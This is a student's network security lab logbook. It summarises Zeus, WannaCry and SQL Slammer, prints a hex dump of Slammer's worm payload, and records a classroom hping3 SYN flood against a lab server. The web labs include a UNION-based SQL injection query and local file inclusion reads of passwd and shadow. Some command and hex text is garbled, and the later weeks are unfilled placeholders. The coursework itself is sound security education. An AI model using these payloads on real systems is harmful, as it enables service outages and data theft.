# **Network Security Logbook**

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# WEEK 1: NETWORKING QUIZ

In the first week, there was no laboratory but an introduction to Networking with explanations of the various parts that led to Network Security. At the end of the lecture, we had access to a Quiz. My results are below.

Summary of your previous attempts							
Attempt	State	Grade / 19.00	Review				
1	Finished Submitted Wednesday, 29 September 2021, 12:42 PM	17.00	Review				
2	Finished Submitted Wednesday, 29 September 2021, 12:47 PM	18.00	Review				

Your final grade for this quiz is 18.00/19.00.

Figure 1.1: Networking Quiz Results

#### WEEK 2: MALWARE

There are several types of Malware that can be used to compromise a network or a computer. The propagation of a malware can also happen through social engineering, being phishing one of the most common examples (Greenberg, 2019). This lab objective is to discover and research different types of specific malwares.

#### 2.1 ZEUS GAMEOVER

One of the most famous malware is Zeus Gameover. Zeus is a trojan that spreads itself through emails with malicious attachments (Wikipedia, 2021). This malware will then generate zombies that sit in an IRC server managed by a server administrator. This process is a continue and infinite loop and makes the battle against the botnets really hard (Firat, 2020). Zeus uses anAdobe Reader BMP/RLE heap corruption vulnerability CVE-2013-2729 that causes a buffer overflow to cause a DoS that crashes the daemon and execute malicious code (Ismail et al., 2021). In the case of Zeus, most of the time, a PDF file is used to initialise everything and start the new botnet. It will use the vulnerabilities of the reader to declare previously where the shellcode is not even hidden, and that can be easily decrypted (Eternal, 2013). These discoveries are made using a python tool named peepdf that analyse a pdf file. The principal scope of the botnet is to steal banking informations where the victims are deprived of their money when the amount is worth to be taken (KnowBe4, 2020). GOZ uses high TCP and UDP ports to spread itself.

```
| Section | Sect
```

Figure 2.1: Shellcode Zeus Gameover

#### 2.2 WANNACRY

WannaCry is a self-propagating ransomware that encrypts the victims' data on outdated Microsoft platforms. It is known that the malware will also the user to pay a ransom in Bitcoin or lose the data forever (Qian and Bridges, 2017). This ransomware propagates through a specific SMB protocol vulnerability that and needs NetBIOS and SMB ports open (NHS, 2017). One of the most significant casualties of the attack has been the NHS, vulnerable to out-of-date operative systems such as Windows XP that Microsoft no longer supported with updates (Qian and Bridges, 2017). Every system affected by this malware will look for devices that takes inbound traffic on low TCP ports such as 135, 139 and 445 that are used by the SMB protocol.

#### 2.3 SQL SLAMMER

SQL Slammer has been released in the early hours of January 26 A worm takes advantage of bugs to create copies of itself from local to network nodes. In this case, SQL Slammer uses a buffer overflow vulnerability in the Microsoft SQL Server and is remotely exploitable through the UDP 1434 port and its vulnerability identifier is CVE-2002-0649 (CVE, 2009). SQL Slammer has been one of the most fast spread worm in the history of internet as it was scanning more than 55 million systems per second in the first three minutes when it has been released and infected 90% of exploitable hosts within ten minutes. The spread was 250 times faster than Code Red (Hoar, 2005).

```
04 01 01 01 01 01
01 01 01 01 01 01 01 01 01
                  01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 dc c9 b0
            01 01 01 01
                        70 ae 42 01
90 90 90 90 90 90 90 68 dc c9 b0 42 b8 01
01 31 c9 b1 18 50 e2 fd 35 01 01 01 05 50 51 68 2e 64 6c 6c 68 65 6c 33 32 68 6b 65
51 68 6f 75 6e 74 68 69 63 6b 43 68
66 b9 6c 6c 51 68
b9 65 74 51 68 73 6f 63 6b 66 b9 74 6f 51
65\ 6e\ 64\ be\ 18\ 10\ ae\ 42\ 8d\ 45\ d4\ 50\ ff\ 16 45\ e0\ 50\ 8d\ 45\ f0\ 50\ ff\ 16\ 50\ be\ 10\ 10\ ae
1e 8b 03 3d 55 8b ec 51 74 05 be 1c 10 ae
            c9 51 51 50 81 f1 03 01
01 01 01 01 51 8d 45 cc 50 8b 45 c0 50 ff 16 6a
11 6a 02 6a 02 ff d0 50 8d 45 c4 50 8b 45 c0 50
ff 16 89 c6 09 db 81 f3 3c 61 d9 ff 8b 45 b4 8d
Oc 40 8d 14 88 c1 e2 04 01 c2 c1 e2 08 29 c2 8d
04 90 01 d8 89 45 b4 6a 10 8d 45 b0 50
66 81 fl 78 01 51 8d 45 03 50 8b 45 ac 50 ff d6
```

Figure 2.2: SQL Slammer 376 bytes ASCII

#### 2.4 CONCLUSION

There are many malware that, even though they have been released in the early days of the spread of the internet, are still present, meaning that it is very hard to find a way to fight them. Patches are very important to fix some vulnerabilities, but at the same time, they can introduce new ones. Botnets are still very predominant in today world, and IRC is still being used to manage them in a very efficient way. Criminals are always finding new ways to exploit machines to improve their security, such as encryptions and obfuscations while hiding in the dark web. This lab has imprinted in me the awareness that everything is exploitable and nothing is safe if it's exposed on the internet.

#### WEEK 3: DENIAL OF SERVICE

This lab covers Denial of Service attacks, or more specifically a Distributed Denial of Service attack, since it was performed during the lab session from many fellow students. Two tools were used to perform these attacks, one being hping3 and the other a custom bash script that performes many get requests.

#### 3.1 TOOL: HPING3

Once connected to the VM and reading the planned outline of the lab, the instructions in the document were followed to DoS the web service on the network address 192.168.69.164.

```
Problem loading page - ... kali@kali: ~

File Actions Edit View Help

— (kali@kali) - (~)

— S audo hing - V - S - p 80 — flood — interval u500 192.168.69.164

[sudo] password for kali:

using etho, addr: 192.168.69.9, MTU: 1500

HPING 192.168.69.164 (etho 192.168.69.164): S set, 40 headers + 0 data bytes

hping in flood mode, no replies will be shown
```

Figure 3.1: hping3 command

As shown in the picture above, the hping3 tool has been used to perform the attack with an interval of 500 microseconds that is the the equivalent of 0.0005 seconds, this still didn not crash the server as probably not many students were performing the attack yet. To fix that, the –flood flag has also been used to send the packets as much as possible, even though it disabled the verbose output and the interval flag as it was now sending as many packets as fast as possible. The configuration metrics to be used to determine the impact on the packet loss has not been tested as the web service crashed right after we performed this attack as a group and was not be able to go up for the whole duration of the lab, but some research analysis shows and proves that the packet loss rate is directly proportional to the size of the packets sent. (Liang et al., 2016).




Figure 3.2: SYN Flood

During the attack, of course, some latency on the web page has been observed, showing that the consequence of the attack would first be high latency, and the consistency and the total number of attacks while under this state would then result in a crash. Below the picture representing the crashed web service. The consequence of this attack is high latency and drastically utilisation of both CPU and memory.




Figure 3.3: Web-service is down

#### 3.2 TOOL: CURL SCRIPT

The following script has been written as a second tool to attack the web service through cURL HTTP GET requests. Before running it, the script needed permission to be execute, this has been done through the chmod +x command and the script could then be run with ./script-name command. This HTTP attack is used to ask the static content of the html file hosted on the server (*What Is an HTTP Flood | DDoS Attack Glossary | Imperva* 2020). This attack would most of the time be mitigated on real-world scenario as many services now use load balancers or web application protection solutions such as AWS Shield or Cloudflare that are specifically built to defend by such attacks, even performed by large botnets. A simple test with this script has been performed before the previos tool to certify that the syntax was right, but not much else could be done due to the fact that the server was down after the attacks.

Figure 3.4: cURL Script

#### 3.3 CONCLUSION

This lab has been fun as we could gather in a room and simulate an attack to a a node of the network similar to what a red team would have done even though if at a much more fundamental level.

#### WEEK 4: CYBER PHYSICAL ATTACKS

This is a lab that spanned two weeks and covered the design of security architectures with securiCAD.

#### 4.1 THREAT MODEL




Figure 4.1: securiCAD Threat Model

The model created on securiCAD has been developed with the scenario that has been given. The model is a set of three zones and routers figuratively placed out of them. It follows a sort of pipeline where a user, in this case, a student, can connect to his zone where through ACL implementation, can perform operations such as access to the teaching zone. The student with access to Moodle with a Browser and has access to the frontend that fetch data from a database that requires special authorisations to be accessed and stores important data such as lectures, timetables, marks, tests and more. The teaching zone is attached to the Admin Zone through a router that performs authentication. When authenticating, if the role is admin, the account will have the power to send mutations queries to the database and modify tables. The targets that I've chosen for the attack are the student zone with a compromise attack step and the teaching zone with an attack step of Denial of Service.




Figure 4.2: Chokepoints

The image above shows the critical assets in the architecture and the workflow pipeline that the attacker is using to compromise it. The high-value assets of the simulation are the Student Zone and Teaching zone, with an attack probability of 100% and high risk.

High Value Assets The high value assets of the simulation and the target of the attacker. Click on items in the list to get more details.									
Filter Models									
ID JNAME	ATTACK STEP	CONSEQUENCE	PROBABILITY	TTC GRAPH	TTC 50%	RISK	CRITICAL PATH		
1 Student Zone	Compromise	5/10	100%		0 days	High	>		
3 Teaching Zone	DenialOfService	5/10	100%		0 days	High	>		

Figure 4.3: Key Assets

The overall total risk expose shown in the securiCAD report is 100%, meaning that the architecture is very susceptible to attacks.



Figure 4.4: Risk Exposure

After analysing the model, many changes to the architecture are required to make it much more secure. Encryption could be one of the first solutions within the network to make life a bit harder for a potential attacker.

To strengthen the most sensitive parts of the network, Network Segmentation could also come to play. It would create dead ends for the attacker and a sort of maze that would confuse and make his life harder, coupled with robust access control and monitoring of user systems with firewalls.

#### WEEK 5: WEB SECURITY

In this lab we will explore web security and how hackers attacks web services with cross-site scripting (XSS) and SQL Injections.

#### 5.1 TASK3: WIRESHARK

In this section there will be a small analyse of the traffic generated when loading the website specified in the task.




Figure 5.1: Wireshark Traffic

The browser sets the IP through the TCP protocol and SYN requests are sent between the two IPs. Since it's TCP there is the handshake with ACK and SYN-ACK. The website content is retrived through HTTP and there are GET requests that fetch images on root.

#### 5.2 TASK 4: ENUMATION OF TABLES

With the command below, we are able to get the database name.



Figure 5.2: Name of Database

The command below retrieves all the tables in the database.




Figure 5.3: Enumeration of Tables

From the information retrieves before, we know that the database we are interested in is labs. It can be used to filter the query and get the tables names.




Figure 5.4: Labs Tables

With the following query we get the column names.

```
Pictures: 

The database related:
The database related:
SELECT * FROM users WHERE user=" UNION SELECT table_name,table_schema_column_name from information_schema.columns WHERE table_schema="labs" # #' AND passwd=" Number of Rows: 5

Array ( [userid] => sql_lab_tokens [user] => labs [passwd] => sql_lab_md5_passwd )

Array ( [userid] => users [user] => labs [passwd] => userid)

Array ( [userid] => users [user] => labs [passwd] => user)

Array ( [userid] => users [user] => labs [passwd] => passwd)

The ?file= contents are (readme.txt to test)

The ?cmd= makes OS command execution:
```

Figure 5.5: Column names for Labs table

Since the 5.4 requires to crack the md5 hashes, we check for names that reference it. Once found sql\_lab\_md5, we access it with the following query.




Figure 5.6: MD5 Hashes

#### 5.3 TASK 5: USERNAME WITH USERID 4




Figure 5.7: Username

#### 5.4 TASK 6 & 7: MD5 HASHES

The hashes in 5.6 are the MD5 hashes that we will manually crack. I picked two random hashes to crack them on crackstation as specified in the task. Below a screenshot with the results of the action.




Figure 5.8: Crackstation Result

#### 5.5 TASK 8: XSS DEMONSTRATION

A cross-site scripting attack has been performed on the web service provided. The editboxes can be used to run malicious JavaScript code. The code below shows how easy is to inject malicious code into script tags.




Figure 5.9: Inject Script Tags

Below a proof that the code is execute on the client.



Figure 5.10: code-execute

#### 5.6 TASK 9: VIEW FILES

It is possible to run commands through the LFI vulnerability. In the images below we can see how we used the browser to access and read files specified in the task.




Figure 5.11: LFI: passwd

In the picture below we view the access logs.




Figure 5.12: LFI: Access Logs

In the picture below the shadow bak




Figure 5.13: LFI: Shadow

It's worth noting that there are many LFI and bypasses techniques, such as traversal sequences stripped non-recursively and null byte (for php).

# 6

# WEEK 6: SOCIAL ENGINEERING & PHISHING

Where all week 6 stuff will go

# WEEK 7: CLOUD, BYOD AND INSIDER THREAT

Where all week 7 stuff will go

8

# WEEK 8: DEFENCE MEASURES

This is where all week 8 stuff goes.

9

# CONCLUSION

This is the conclusion.

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